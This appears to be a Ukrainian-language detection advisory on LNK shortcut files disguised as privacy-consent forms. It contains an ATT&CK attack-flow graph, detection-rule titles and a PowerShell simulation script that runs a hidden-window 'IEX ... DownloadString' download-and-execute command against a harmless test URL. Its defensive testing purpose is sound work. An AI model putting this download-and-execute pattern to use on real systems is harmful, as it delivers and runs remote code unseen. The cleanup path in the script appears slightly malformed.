Що насправді було всередині файлу ярлика, замаскованого під форму згоди на конфіденційність?
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Зловмисники розповсюджують шкідливі файли LNK, які замасковані під форми згоди на конфіденційність, щоб обманути користувачів та змусити їх відкрити ці файли. Після виконання ці ярлики запускають затемнені команди PowerShell, які завантажують та виконують додаткові завантаження за допомогою технологій без файлової компоненти. Ланцюжок атаки розроблений для крадіжки інформації та розгортання завантажувача бекдора, який допомагає зберігати доступ і стійкість.
Розслідування
Розслідування показало, що файли LNK містять затемнені коди PowerShell, які відповідають за завантаження наступних скриптів. Ці додаткові скрипти включають завантажувач, який отримує корисні навантаження з легітимних веб-сервісів, і завантажувач, який виконує їх безпосередньо в пам’яті. Зловмисник також зловживає Планувальником завдань Windows для збереження стійкості і використовує документи-заспокоєння, щоб шкідлива активність виглядала легітимною.
Мітигація
Організації повинні впроваджувати сувору перевірку розширень файлів та попереджати користувачів про файли LNK, замасковані під звичайні документи. Команди безпеки повинні ретельно моніторити активність Планувальника завдань, журнали виконання PowerShell і вихідні мережеві з’єднання. Також користувачі повинні бути навчені перевіряти як відправника, так і шлях доставки будь-якого вхідного файлу перед відкриттям.
Відповідь
Якщо ця активність виявлена, адміністратори повинні негайно перевірити підозрілі записи Планувальника завдань та незвичне створення скриптів PowerShell у каталогах з доступом користувача. Логи PowerShell повинні бути проаналізовані, а зовнішні з’єднання повинні бути простежені, особливо ті, що стосуються легітимних хмарних платформ або веб-сховищ. Повне судове розслідування має бути проведено на будь-яких виявлених шкідливих скриптах і несанкціонованому мережевому трафіку.
graph TB %% Визначення класів classDef initial_access fill:#f96,stroke:#333,stroke-width:2px classDef execution fill:#69f,stroke:#333,stroke-width:2px classDef persistence fill:#6c6,stroke:#333,stroke-width:2px classDef discovery fill:#ff9,stroke:#333,stroke-width:2px classDef exfiltration fill:#f66,stroke:#333,stroke-width:2px %% Етап початкового доступу action_user_exec[“<b>Дія</b> – <b>T1204.002 User Execution: Malicious File</b><br/>Жертва запускає оманливий файл ярлика .LNK,<br/>замаскований під форму згоди.”] class action_user_exec initial_access action_masquerade[“<b>Дія</b> – <b>T1036.008 Masquerading: Masquerade File Type</b><br/>Файл .LNK імітує легітимну форму<br/>згоди на обробку персональних даних.”] class action_masquerade initial_access %% Етап виконання action_obfuscation[“<b>Дія</b> – <b>T1027.009 Obfuscated Files or Information: Embedded Payloads</b><br/>Файл .LNK містить обфускований<br/>PowerShell-скрипт із корисним навантаженням.”] class action_obfuscation execution action_cloud_api[“<b>Дія</b> – <b>T1059.009 Command and Scripting Interpreter: Cloud API</b><br/>PowerShell-скрипт використовує хмарні сервіси<br/>для завантаження додаткових шкідливих скриптів.”] class action_cloud_api execution action_proxy_exec[“<b>Дія</b> – <b>T1216 System Script Proxy Execution</b><br/>Шкідливе програмне забезпечення використовує<br/>проксі-виконання системних скриптів для приховування.”] class action_proxy_exec execution action_reflective_load[“<b>Дія</b> – <b>T1620 Reflective Code Loading</b><br/>Завантажені скрипти виконуються в пам’яті<br/>за допомогою безфайлових методів.”] class action_reflective_load execution %% Етап закріплення action_scheduled_task[“<b>Дія</b> – <b>T1053 Scheduled Task/Job</b><br/>Завдання реєструється у Планувальнику завдань Windows,<br/>щоб забезпечити виконання після перезавантаження.”] class action_scheduled_task persistence %% Етап виявлення action_sys_info[“<b>Дія</b> – <b>T1082 System Information Discovery</b><br/>PowerShell-скрипт збирає інформацію про ОС,<br/>мережеві налаштування та IP-адреси.”] class action_sys_info discovery action_query_reg[“<b>Дія</b> – <b>T1012 Query Registry</b><br/>Скрипт аналізує реєстр для визначення<br/>активних процесів і засобів безпеки.”] class action_query_reg discovery %% Етап цілі action_backdoor[“<b>Дія</b> – <b>Backdoor loader-type</b><br/>Підтримує доступ та забезпечує виконання<br/>подальших шкідливих дій.”] class action_backdoor exfiltration action_selective_exclusion[“<b>Дія</b> – <b>T1679 Selective Exclusion</b><br/>Бекдор забезпечує вибіркові виключення<br/>для обходу засобів захисту.”] class action_selective_exclusion exfiltration %% Потік з’єднань action_user_exec –>|призводить_до| action_masquerade action_masquerade –>|активує| action_obfuscation action_obfuscation –>|містить| action_cloud_api action_cloud_api –>|розгортає| action_proxy_exec action_proxy_exec –>|виконує| action_reflective_load action_reflective_load –>|створює| action_scheduled_task action_scheduled_task –>|запускає| action_sys_info action_sys_info –>|призводить_до| action_query_reg action_query_reg –>|надає_дані| action_backdoor action_backdoor –>|активує| action_selective_exclusion
Хід атаки
Виявлення
Можливе виявлення інформації про систему за допомогою модуля Wmi Powershell (через powershell)
Перегляд
Можливі індикатори затемнення PowerShell (через powershell)
Перегляд
Виконання шкідливого файлу LNK, що призводить до зовнішнього завантаження та з’єднань [Мережеве з’єднання Windows]
Перегляд
Виконання та стійкість шкідливого файлу LNK через Планувальник завдань [Створення процесу Windows]
Перегляд
Виконання шкідливого файлу LNK із затемненим PowerShell [Windows Powershell]
Перегляд
Виконання симуляції
Попередня умова: має бути пройдено перевірка телеметрії та базової лінії перед польотом.
Обґрунтування: Цей розділ викладає точне виконання техніки супротивника (TTP), розроблене для запуску правила виявлення. Команди та наратив повинні безпосередньо відображати ідентифіковані TTP та націлені на генерування саме тієї телеметрії, що очікується детекційною логікою. Абстрактні або невідповідні приклади призведуть до помилкової діагностики.
-
Опис та команди атаки: Зловмисник намагається встановити початковий доступ і завантажити шкідливий вантаж другого етапу. Щоб уникнути виявлення простими сканерами файлів, вони використовують файл LNK (ярлик). Цей файл LNK складається для виконання
powershell.exeу прихованому вікні. Команда, передана PowerShell, використовуєInvoke-ExpressionandDownloadStringдля завантаження скрипту з віддаленого URL. Це імітує реальні атаки типу “Living-off-the-Land” (LotL), де використовуються легітимні двійкові файли для виконання шкідливих дій, з метою обійти традиційні антивірусні засоби, базовані на сигнатурах. -
Скрипт регресійного тестування:
# 1. Визначте цільовий URL (використовуючи нешкідливий сайт для тестування) $url = "https://www.google.com" # 2. Створіть строку шкідливого завантаження PowerShell # Ця строка призначена для запуску виявлення 'DownloadString' та 'Invoke-Expression' $payload = "IEX (New-Object Net.WebClient).DownloadString('$url')" # 3. Створіть вміст демонстративного файлу LNK (Симулюється) # У реальній атаці це був би бінарний .lnk файл. # Тут ми виконання команди безпосередньо, щоб забезпечити генерацію логу ScriptBlock для валідації. Write-Host "[+] Симуляція шкідливого виконання PowerShell через навантаження LNK..." powershell.exe -WindowStyle Hidden -Command $payload Write-Host "[+] Команда симуляції виконана. Проверте Ідентифікатор події 4104." -
Команди очищення:
# Видаліть будь-які артефакти, якщо були створені файли Remove-Item -Path "$HOMEDesktopSimulated_Malicious_LNK.lnk" -ErrorAction SilentlyContinue Write-Host "[+] Очищення завершено."